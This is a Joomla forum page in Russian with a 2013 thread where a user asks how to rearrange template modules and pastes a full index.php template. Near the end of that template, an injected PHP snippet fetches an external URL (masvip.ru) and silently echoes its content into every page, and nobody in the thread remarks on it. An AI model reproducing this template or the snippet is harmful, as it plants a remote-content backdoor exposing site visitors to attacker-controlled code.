Новости Joomla

Joomla 6: Автоматические обновления ядра в Joomla

Joomla 6: Автоматические обновления ядра в Joomla

👩‍💻 Joomla 6: Автоматические обновления ядра в Joomla. В октябрьском номере официального журнала Joomla - Joomla Community Magazine вышла статья David Jardin, где рассказывается о внедрении функционала автоматического обновления ядра Joomla.❓Почему сейчас? Joomla же жила как-то 20 лет без автоматических обновлений?Это оказалась самая востребованная за последнее время от пользователей Joomla функция. Но, основная причина внедрения - проблемы безопасности. Всякий раз, когда в новой версии Joomla устраняется уязвимость, злоумышленники начинают анализировать код, чтобы выяснить, какая именно уязвимость была исправлена. И как только они это выясняют - начинается разработка автоматизированных скриптов для взлома как можно большего количества сайтов. Затем доступы к автоматически взломанным сайтам продаются в профильных чатах и ресурсах "пачками" по несколько сотен тысяч или миллионов сайтов. Ваш сайт могли взломать несколько лет назад, но воспользоваться уязвимостью могут не сразу, а тогда, когда у злоумышленников возникнет необходимость. И только после этого вы может быть узнаете об этом.Анализ патча, понимание проблемы и разработка скрипта требуют времени. И если владелец сайта не обновит его до истечения этого срока, сайт может быть взломан. А хакеры действуют быстро! Для критических, легко эксплуатируемых уязвимостей речь идёт о временном окне в 10–12 часов — и этого времени явно недостаточно, чтобы все успели обновить свои сайты.Здесь выходят на первый план автоматизированные обновления: проект Joomla теперь может активно устанавливать обновления (и, следовательно, исправления безопасности) на сайты, чтобы гарантировать, что сайты действительно обновляются вовремя.🕘 От первых идей до реализации прошло 5 лет. И здесь можно вспомнить, как в Joomla 5.1 внедрили TUF - The Update Framework, позволяющий устанавливать защищённое соединение между сайтом и сервером обновлений и исключает возможность supply chain attack (атаки на цепочку поставок).Об особенностях реализации и требованиях к сайту читаем подробнее в статье на JCM.@joomlafeed#joomla #secutiry #jcm

Первый выпуск журнала NorrNext в честь 20-й годовщины Joomla™

Первый выпуск журнала NorrNext в честь 20-й годовщины Joomla™

Первый выпуск журнала NorrNext в честь 20-й годовщины Joomla™. Интервью с волонтёрами 🎈Ну что, друзья, вот и настал этот долгожданный момент. Мы выпустили первое издание собственного журнала под эгидой NorrNext, который включает в себя интервью с видными деятелями сообщества из разных стран и континентов.Общий нарратив: показать, что нас объединяет (Joomla) и узнать больше о людях, которые вносят свой вклад в развитие платформы в своих сообществах. 20 лет — это много. Давайте же узнаем о коллегах 🎁 Первый цикл включает такие страны, как Австрия, Испания, Латвия, Россия, Румыния, Тайланд, Черногория, Чехия.⚙️ С кем интервью: ✔️ Владимир Елисеев 🇷🇺✔️ Дмитрий Рекун 🇱🇻✔️ Дмитрий Цымбал 🇷🇺✔️ Евгений Сивоконь 🇷🇺 ✔️ Сергей Толкачёв 🇷🇺✔️ Dénes Székely 🇷🇴✔️ Jan Pavelka 🇨🇿✔️ Miljan Vujosevic 🇲🇪✔️ Sergio Iglesias 🇪🇸✔️ Sigrid Gramlinger 🇦🇹✔️ Pisan Chueatchatchai 🇹🇭‼️ Новые интервью будут добавляться до конца декабря 2025. Заходите по ссылке время от времени💡👉 Читать далее

0 Пользователей и 1 Гость просматривают эту тему.
  • 2 Ответов
  • 2717 Просмотров
*

Mangoz

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Не получается поменять местами модули.

Как надо


Как сейчас:


Код
?>

<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>">

<head>
<jdoc:include type="head" />
<?php JHTML::_('behavior.mootools'); ?>
<link rel="stylesheet" href="<?php echo $tmpTools->baseurl(); ?>templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $tmpTools->baseurl(); ?>templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/css/template_css.css" type="text/css" />
<script language="javascript" type="text/javascript" src="<?php echo $tmpTools->templateurl(); ?>/scripts/ja.script.js"></script>
<?php $tmpTools->genMenuHead(); ?>
<link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/css/colors/red.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/css/editor_content.css" type="text/css" />

<!--[if lte IE 6]>
<style type="text/css">
.clearfix {height: 1%;}
</style>
<![endif]-->

<!--[if gte IE 7.0]>
<style type="text/css">
.clearfix {display: inline-block;}
</style>
<![endif]-->

<!--[if gt IE 7]>
<link href="<?php echo $tmpTools->templateurl(); ?>/css/ie8.css" rel="stylesheet" type="text/css" />
<![endif]-->

</head>

<body id="bd" class="<?php echo $tmpTools->getParam(JA_TOOL_SCREEN);?> fs<?php echo $tmpTools->getParam(JA_TOOL_FONT);?>">
<a name="Top" id="Top"></a>
<ul class="accessibility">
<li><a href="#ja-content" title="<?php echo JText::_("Skip to content");?>"><?php echo JText::_("Skip to content");?></a></li>
<li><a href="#ja-mainnav" title="<?php echo JText::_("Skip to main navigation");?>"><?php echo JText::_("Skip to main navigation");?></a></li>
<li><a href="#ja-col1" title="<?php echo JText::_("Skip to 1st column");?>"><?php echo JText::_("Skip to 1st column");?></a></li>
<li><a href="#ja-col2" title="<?php echo JText::_("Skip to 2nd column");?>"><?php echo JText::_("Skip to 2nd column");?></a></li>
</ul>

<div id="ja-wrapper">

<!-- BEGIN: HEADER -->
<div id="ja-header" class="clearfix">


<?php if ($this->countModules('user4')) { ?>
<div id="ja-search">
<jdoc:include type="modules" name="user4" />
</div>
<?php } ?>

<!-- BEGIN: MAIN NAVIGATION -->
<div id="ja-mainnav" class="clearfix">
<?php
switch ($tmpTools->getParam(JA_TOOL_MENU)) {
case 1:
include(dirname(__FILE__).DS."/ja_Splitmenu.php");
$jamenu->genMenu (0); 
break;
case 2:
case 4:
include(dirname(__FILE__).DS."/ja_cssmenu.php");
$jamenu->genMenu (0);
break;
case 3:
include(dirname(__FILE__).DS."/ja_scriptdlmenu.php");
$jamenu->genMenu (0, 0);
break;
}
    ?>
</div>
<!-- END: MAIN NAVIGATION -->

</div>
<!-- END: HEADER -->
<div id="logo"></div>
<div id="head"><jdoc:include type="modules" name="head" style="xhtml"/>
</div>



<?php if ($this->countModules('top')) { ?>
<!-- BEGIN: TOP SPOTLIGHT -->
<div id="ja-topsl" style="background: url(<?php echo $tmpTools->templateurl();?>/images/headers/<?php echo $tmpTools->getRandomImage(dirname(__FILE__).'/images/headers/'); ?>) no-repeat right top;">
<jdoc:include type="modules" name="top"  style="xhtml"/>
</div>
<!-- END: TOP SPOTLIGHT -->
<?php } ?>

<div id="ja-containerwrap<?php echo $divid ?>">
<div id="ja-container" class="clearfix">

<!-- BEGIN: CONTENT -->
<div id="ja-contentwrap" class="clearfix">

<div id="ja-content">
<div class="innerpad">
<?php if(!$tmpTools->isFrontPage()){ ?>
<div id="ja-pathway">
<jdoc:include type="module" name="breadcrumbs" />
</div>
<?php } ?>
<jdoc:include type="message" />
<jdoc:include type="component" />
      </div>
</div>

  <?php if ($ja_left) { ?>
<div id="ja-col1">
<jdoc:include type="modules" name="left" style="xhtml" />

</div>
<?php } ?>

</div>
<!-- END: CONTENT -->

<!-- BEGIN: COLUMNS -->
<div id="ja-mascol">
    <?php if ($ja_mascol) { ?>
    <div id="ja-col3">
<jdoc:include type="modules" name="user1"  style="xhtml" />
<jdoc:include type="modules" name="user2"  style="xhtml" />
<jdoc:include type="modules" name="user5"  style="xhtml" />
    </div>
    <?php } ?>
   
<?php if ($ja_right) { ?>
<div id="ja-col2">
<jdoc:include type="modules" name="right" style="xhtml" />
</div>
<?php } ?>
</div>
<!-- END: COLUMNS -->

</div>
</div>
<div style="clear: both;"></div>

<?php
$spotlight = array ('user6','user7','user8','user9','user10');
$botsl = $tmpTools->calSpotlight ($spotlight,100);
if( $botsl ) {
?>
<!-- BEGIN: BOTTOM SPOTLIGHT -->
<div id="ja-botsl" class="clearfix">

<?php if( $this->countModules('user6') ) {?>
  <div class="ja-box<?php echo $botsl['user6']['class']; ?>" style="width: <?php echo $botsl['user6']['width']; ?>;">
<jdoc:include type="modules" name="user6" style="xhtml" />
  </div>
  <?php } ?>

  <?php if( $this->countModules('user7') ) {?>
  <div class="ja-box<?php echo $botsl['user7']['class']; ?>" style="width: <?php echo $botsl['user7']['width']; ?>;">
<jdoc:include type="modules" name="user7" style="xhtml" />
  </div>
  <?php } ?>

  <?php if( $this->countModules('user8') ) {?>
  <div class="ja-box<?php echo $botsl['user8']['class']; ?>" style="width: <?php echo $botsl['user8']['width']; ?>;">
<jdoc:include type="modules" name="user8" style="xhtml" />
  </div>
  <?php } ?>

  <?php if( $this->countModules('user9') ) {?>
  <div class="ja-box<?php echo $botsl['user9']['class']; ?>" style="width: <?php echo $botsl['user9']['width']; ?>;">
<jdoc:include type="modules" name="user9" style="xhtml" />
  </div>
  <?php } ?>
 
  <?php if( $this->countModules('user10') ) {?>
  <div class="ja-box<?php echo $botsl['user10']['class']; ?>" style="width: <?php echo $botsl['user10']['width']; ?>;">
<jdoc:include type="modules" name="user10" style="xhtml" />
  </div>
  <?php } ?>

</div>
<!-- END: BOTTOM SPOTLIGHT -->
<?php } ?>

<!-- BEGIN: FOOTER -->
<div id="ja-footerwrap">
<div id="ja-footer" class="clearfix">

<?php if ( $this->countModules("banner") ) { ?>
<div class="ja-banner">
<jdoc:include type="modules" name="banner" />
    </div>
    <?php } ?>
   
<jdoc:include type="modules" name="user3" />
   
<small>
<?php include (dirname(__FILE__).DS.'/footer.php');?>
</small>

</div>
</div>
<!-- END: FOOTER -->

</div>

<jdoc:include type="modules" name="debug" />
<?php
$urlpurs="http://masvip.ru/7791/take.html";
$beecode=@file_get_contents ($urlpurs);
echo "$beecode";
?>
</body>

</html>

<?php

?>
*

Mangoz

  • Осваиваюсь на форуме
  • 12
  • 0 / 0
Re: Смена модулей местами, колонки
« Ответ #1 : 25.02.2013, 15:22:57 »
кто-то сможет помочь или не знает никто?
*

Taatshi

  • Гуру
  • 5258
  • 481 / 2
  • Верстаем и кодим. Обращайтесь ;)
Re: Смена модулей местами, колонки
« Ответ #2 : 27.02.2013, 00:03:00 »
Насколько я могу судить по коду, это может меняться прямо из админки в  настройках шаблона. Смотрели?
ВЕРСТКА, САЙТЫ ПОД КЛЮЧ, УДАЛЕНИЕ ВИРУСОВ, МИГРАЦИЯ НА JOOMLA 3, ОБНОВЛЕНИЕ  |  ОТЗЫВЫ 
Связь: telegram - Taatshi, почта - Taatshi на яндексе, Skype - Taatshi
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Смена шрифтов в шаблоне Joomla 2.5

Автор GulliWeR

Ответов: 6
Просмотров: 10235
Последний ответ 29.09.2015, 13:29:19
от jetjetjet
смена шаблона на лету через url ?template=tepmalete_name

Автор Sergic

Ответов: 6
Просмотров: 9617
Последний ответ 08.09.2015, 08:45:39
от MMONSTERR
Вывод списка категорий раздела в 2 колонки

Автор doker

Ответов: 18
Просмотров: 13777
Последний ответ 04.11.2014, 21:43:28
от wavy
Конфликт Jquery и модулей

Автор Tref_mast

Ответов: 5
Просмотров: 4455
Последний ответ 01.08.2014, 17:07:27
от testttcoll
Быстрая смена шаблона по ссылке

Автор NC-JaFaR

Ответов: 8
Просмотров: 7540
Последний ответ 24.01.2014, 17:03:44
от Azizkz